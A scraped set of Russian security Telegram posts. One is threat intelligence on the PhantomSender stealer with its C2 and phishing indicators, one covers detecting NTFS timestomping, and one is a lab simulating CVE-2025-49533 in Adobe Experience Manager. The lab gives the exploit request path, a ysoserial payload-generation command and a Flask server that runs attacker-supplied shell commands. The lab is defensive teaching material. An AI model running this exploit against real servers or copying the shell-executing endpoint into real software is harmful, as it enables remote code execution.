🫡 В последнее время видим много публикаций и выступлений о группировке Fairy Trickster (Head Mare | PhantomCore | Rainbow Hyena) от разных вендоров, от нас в том числе. И мы нашли еще одну фишинговую рассылку FairyTrickster, а также вредоносный инструмент, который назвали PhantomSender.
В одном из своих отчетов эксперты F6 описали цепочку атаки 2022 года, в которой с помощью дроппера запускался StatRAT. Дроппер был приманкой для проверки сети. Мы уже видели и писали о фишинговой кампании, в которой распространялся похожий валидатор для проверки сети.
Примечательно, что злоумышленники не использовали вложения, а распространяли стилер PhantomSender через фишинговый сайт
В фишинговом письме злоумышленники писали от имени Роскомнадзора, как и в файле-приманке, который анализировали F6. Атаковали примерно в одно и то же время. Файлы-приманки обманывали по одному принципу — отображали сообщение об успешности проверки сетевого соединения (скриншот 2).
💣 Так мы поняли, что PhantomSender — тоже инструмент Fairy Trickster!
Мы обнаружили еще несколько более новых версий инструмента, которые уже были стилизованы под установщик сертификата. По сравнению с первой версией вредонос научился собирать больше типов файлов и использовать HTTP-протокол для эксфильтрации вместо FTP. Среди новых типов файлов — .dst, .psw, .xps, .dst, .sok. Общее количество собираемых типов возросло до 30.
😬 Киберразведка — это инструмент, который существует не только в настоящем, но и в прошлом. Поэтому, чтобы лучше защищать клиентов в настоящем и будущем, советуем не пренебрегать такими «археологическими» раскопками!
IOC 2022 г.
PDB-пути:
C2
Архивы
Киберразведка иногда напоминает археологию, потому что помогает обнаружить уникальные артефакты не в новых инцидентах, а в прошлом. Подобные флешбэки в некоторых случаях помогают выявить неожиданные связи между инцидентами, которые раньше не были связаны. Или позволяют найти старые инструменты, которые до сих пор могут использовать в атаках. Сегодня мы делимся примером таких раскопок.
В одном из своих отчетов эксперты F6 описали цепочку атаки 2022 года, в которой с помощью дроппера запускался StatRAT. Дроппер был приманкой для проверки сети. Мы уже видели и писали о фишинговой кампании, в которой распространялся похожий валидатор для проверки сети.
Примечательно, что злоумышленники не использовали вложения, а распространяли стилер PhantomSender через фишинговый сайт
minspecsvyaz.ru (скриншот 1). Валидатор загружался по ссылкам вида:http://minspecsvyaz.ru/validator
http://minspecsvyaz.ru/validator?v=2b24c
https://minspecsvyaz.ru/Validator.exe
В фишинговом письме злоумышленники писали от имени Роскомнадзора, как и в файле-приманке, который анализировали F6. Атаковали примерно в одно и то же время. Файлы-приманки обманывали по одному принципу — отображали сообщение об успешности проверки сетевого соединения (скриншот 2).
Мы обнаружили еще несколько более новых версий инструмента, которые уже были стилизованы под установщик сертификата. По сравнению с первой версией вредонос научился собирать больше типов файлов и использовать HTTP-протокол для эксфильтрации вместо FTP. Среди новых типов файлов — .dst, .psw, .xps, .dst, .sok. Общее количество собираемых типов возросло до 30.
IOC 2022 г.
PDB-пути:
C:\my\r\zpskch02\zpskch\obj\Release\Validator.pdb
C:\Users\1\source\repos\hackamakafon\SocketClient2\TestFirstIteration\obj\Release\Validator.pdb
C2
ftp://st24308.ispot.cc
ftp://st23419.ispot.cc
https://backup5.abc-server.com/webdav/user40421/
Архивы
bc05caef56633988a523d394ead5b81b
9ae7c71825bfb70221548a60536fd36f
a895fd1df8bc7c0788a8eb4ffb282cfa
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥6❤5🥰1😁1🤔1
Детектируем антифорензику в NTFS: как превратить старания злоумышленников в преимущество при расследовании
Последний год видим, что стало больше случаев применения такой техники антифорензики, как👀
Чем опасен Timestomping?
👍 При просмотре событий в виде таймлайнов файл с подмененной меткой может быть вне окрестности активности атакующих и попросту пропущен.
👍 Часто дата, на которую совершается подмена, соответствует легитимным файлам, среди которых пытаются скрыть что-то плохое. Найти вредоносный имплант в окрестности легитимной активности — не простая задача.
Как обнаружить подмену (только учитывайте, что некоторые легитимные файлы часто тоже имеют неверную дату создания). И давно рекомендуют, что при анализе файлов нужно смотреть именно на
Но что делать, если
1️⃣ Проверь нули. Интересный факт: при подмене меток
2️⃣ Четвертый не лишний. В NTFS 4 пары временных меток: Creation, Modification, Access и Entry . Подмену временной метки
Вот это уже похоже на детект:
3️⃣ Иногда атакующие любят создавать директории для своего вредоносного ПО, а при выполнении техники Timestomping напрочь забывают, что дата создания директории соответствует дате размещения их собственного «скрытого» файла. Это касается и времени модификации легитимных директорий.
Не живите в иллюзии, что какие-то техники остались забытыми: напишите на них детекты, даже если они будут не идеальными. Однажды детекты помогут вам быстрее обнаружить злоумышленников при расследовании.
Последний год видим, что стало больше случаев применения такой техники антифорензики, как
Timestomping (Т1070.006) или подмена временных меток у файлов. Если модификацией $STANDARD_INFORMATION ($SI) в Windows уже никого не удивить, то подмена временных меток $FILE_NAME ($FN) в NTFS достаточно долго была редким явлением, которое находили лишь в некоторых APT-атаках с участием азиатских групп. Но теперь эту технику используют в том числе группировки из восточной Европы, которые занимаются шифрованием. Значит техника подмены $FN пошла в массы Чем опасен Timestomping?
Как обнаружить подмену
$SI, уже давно пишут в учебниках по DFIR — можно просто сравнить временную метку создания файла из $SI с меткой создания из $FN. Если значения расходятся, делаем вывод: $SI — не настоящее время создания файла$FN Creation, чтобы избежать проблем с техникой Timestomping.Но что делать, если
$FN метки тоже подменены? $FN атакующие не хотят или не могут поменять миллисекунды у временных меток, из-за чего все модифицированные метки будут без миллисекунд. Как гарантированный детект работает не очень хорошо — будут ложные срабатывания, но что вам мешает посмотреть детекты в окрестности инцидента?$FN Entry мы не видели ни разу. Возможно, про неё все забыли. Все временные метки $FN обычно хранят одно и то же значение, соответственно, истинную дату создания файла можно восстановить именно благодаря значению из $FN Entry. Но при условии, что файл не был перезаписан второй раз.Вот это уже похоже на детект:
Если в записи MFT в $FN миллисекунды Creation, Modification и Access равны нулю, а миллескунды Entry не равны нулю, то вероятна подмена $FN меток.
Не живите в иллюзии, что какие-то техники остались забытыми: напишите на них детекты, даже если они будут не идеальными. Однажды детекты помогут вам быстрее обнаружить злоумышленников при расследовании.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥13❤7🤯4👾1
Ловите небольшую лабораторную работу, в которой мы промоделируем
CVE-2025-49533 — это уязвимость десериализации Java в модуле FormServer. Сервлет обрабатывает данные от пользователя, декодируя и десериализуя их без проверки в Adobe Experience Manager версии >= 6.5.23. Это может позволить злоумышленникам отправлять вредоносные данные, чтобы выполнять команды на сервере.
😬 Реальная эксплуатация будет выглядеть так:
Эта полезная нагрузка — результат выполнения:
Хоть уязвимость вызвана в модуле Java, но мы будем использовать python, чтобы проще ее объяснить и смоделировать.
💡 Важное уточнение: этот код — эмуляция десериализации, реальных объектов не создает и функции не вызывает.
Создадим шаблон полезной нагрузки.
RCE — это результат выполнения команды.
Итоговый payload:
Pуthon сервер:
При отправке нашего payload на сервере произойдет:
1️⃣ отчистка от тегов <@urlencode> <\@urlencode>;
2️⃣ декодирование URL;
3️⃣ декодирование в Base64;
4️⃣ распаковка gzip;
5️⃣ выполнение RCE.
😬 Как защититься:
1) При реальной эксплуатации запрос будет представлять собой Base64 строку в тегах
2) Base64 строка будет начинаться с
3) Полезная нагрузка передается методом
4) Конечная точка
Ставьте ❤️, если хотите видеть больше лабораторных работ в канале.
CVE-2025-49533. CVE-2025-49533 — это уязвимость десериализации Java в модуле FormServer. Сервлет обрабатывает данные от пользователя, декодируя и десериализуя их без проверки в Adobe Experience Manager версии >= 6.5.23. Это может позволить злоумышленникам отправлять вредоносные данные, чтобы выполнять команды на сервере.
/FormServer/servlet/GetDocumentServlet?serDoc=<@urlencode>H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/…….</@urlencode>
Эта полезная нагрузка — результат выполнения:
java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "<RCE>" | gzip | base64 -w0
Хоть уязвимость вызвана в модуле Java, но мы будем использовать python, чтобы проще ее объяснить и смоделировать.
Создадим шаблон полезной нагрузки.
<@urlencode> RCE </@urlencode>
RCE — это результат выполнения команды.
echo -n "nslookup google.com" | gzip | base64 -w0
Итоговый payload:
<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>
Pуthon сервер:
import urllib.parse
import base64
import gzip
import io
from flask import Flask, request
import subprocess
import logging
app = Flask(__name__)
# Set up logging
logging.basicConfig(
filename='exploit.log',
level=logging.INFO,
format='[%(asctime)s] %(message)s',
)
@app.route('/rce')
def debug():
payload = request.args.get('cmd')
if payload:
if payload.startswith("<@urlencode>") and payload.endswith("</@urlencode>"):
payload = payload[len("<@urlencode>"):-len("</@urlencode>")]
print(payload)
decoded_url = urllib.parse.unquote_plus(payload)
print(decoded_url)
decoded_bytes = base64.b64decode(decoded_url)
print(decoded_bytes)
try:
with gzip.GzipFile(fileobj=io.BytesIO(decoded_bytes)) as f:
decompressed = f.read()
except Exception:
decompressed = decoded_bytes
ascii_text = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decompressed])
try:
cmd = ascii_text[:1000]
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
return f"<pre>{output}</pre>"
except subprocess.CalledProcessError as e:
return f"<pre>Error:\n{e.output}</pre>"
else:
return "example /rce?cmd=<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>", 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=4502, debug=True)
При отправке нашего payload на сервере произойдет:
1) При реальной эксплуатации запрос будет представлять собой Base64 строку в тегах
<@urlencode> </@urlencode>.2) Base64 строка будет начинаться с
H4s, что говорит о формате gzip .3) Полезная нагрузка передается методом
GET .4) Конечная точка
/FormServer/servlet/GetDocumentServlet .Ставьте ❤️, если хотите видеть больше лабораторных работ в канале.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤46🔥9👍5👾1